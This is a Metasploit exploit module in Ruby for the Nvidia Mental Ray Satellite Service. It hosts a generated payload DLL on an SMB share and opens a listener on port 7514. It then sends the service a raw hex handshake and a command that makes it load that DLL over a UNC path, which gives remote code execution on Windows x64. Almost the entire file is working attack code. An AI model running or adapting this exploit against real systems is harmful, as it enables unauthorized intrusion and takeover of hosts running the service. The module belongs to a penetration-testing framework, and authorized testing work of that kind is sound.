##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection',
      'Description' => %q{
        The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.
        When it receives the command to load a DLL (via an UNC path) it will try to
        connect back to the host on port 7514. If a TCP connection is successful it will
        then attempt to load the DLL. This module has been tested successfully on Win7 x64
        with Nvidia Mental Ray Satellite Service v3.11.1.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Luigi Auriemma', # Discovery
          'Donato Ferrante', # Discovery
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
        ],
      'References' =>
        [
          [ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ],
          [ 'OSVDB', '100827' ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x64', { 'Arch' => [ ARCH_X64 ] } ]
        ],
      'Privileged' => true,
      'DisclosureDate' => '2013-12-10',
      'DefaultTarget' => 0))

    register_options([
      Opt::RPORT(7414),
      OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]),
      OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
    ])

    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
  end

  def primer
    self.file_contents = generate_payload_dll
    print_status("File available on #{unc}...")

    print_status("Trying to execute remote DLL...")
    send_exploit
  end

  def setup
    super

    # These lengths are required, although we specify the UNC path
    # length in the exploit, the header probably has another length
    # value we don't adjust.
    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
    self.share = Rex::Text.rand_text_alpha(5)
  end

  def exploit
    begin
      Timeout.timeout(datastore['SMB_DELAY']) { super }
    rescue Timeout::Error
      # do nothing... just finish exploit and stop smb server...
    end
  end

  def send_exploit
    # No idea what most of this hello is...
    hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7"
    hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000"
    hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000"
    hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f"
    hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000"
    hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000"
    hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000"
    hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009"
    hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000"
    hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000"
    hello << "0000000030000000a000000"

    hello = Rex::Text.hex_to_raw(hello)

    # Start of command - again no idea what this is...
    load_dll =  Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013")

    # Length of path string including null byte
    load_dll << [unc.length + 1].pack('V')

    # Data type?
    load_dll << [2].pack('V')

    # Assembly Load?
    load_dll << "AL"
    load_dll << unc << "\x00"

    # Some padding at the end...
    load_dll << rand_text_alpha(1386 - unc.length)

    # We have to start a second listening port although we dont actually care about
    # handling client connections. It appears as long as the service can make a
    # connection its happy and will move onto the DLL loading
    create_listen_port
    vprint_status("Connecting to target and sending commands")
    connect
    sock.put(hello)
    sock.put(load_dll)
    print_status("Instructed the service to load #{unc}...")
  end

  def create_listen_port
    port = datastore['LISTEN_PORT']

    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    @listener = Rex::Socket::TcpServer.create(
        'LocalHost' => datastore['SRVHOST'],
        'LocalPort' => port,
        'Comm'      => comm,
        'Context'   => {
          'Msf'        => framework,
          'MsfExploit' => self
        }
    )

    # Register callbacks
    @listener.on_client_connect_proc = proc { |cli|
      add_socket(cli)
      begin
        print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...")
      ensure
        # Need to close the socket for the SMB request to be
        # initiated...
        remove_socket(cli)
      end
    }

    @listener.start
    vprint_status("Started listening on TCP port #{port}")
  end

  def cleanup
    super
    return unless @listener

    begin
      @listener.deref if @listener.is_a?(Rex::Service)
      if @listener.is_a?(Rex::Socket)
        @listener.close
        @listener.stop
      end
      @listener = nil
    rescue ::Exception
    end
  end
end
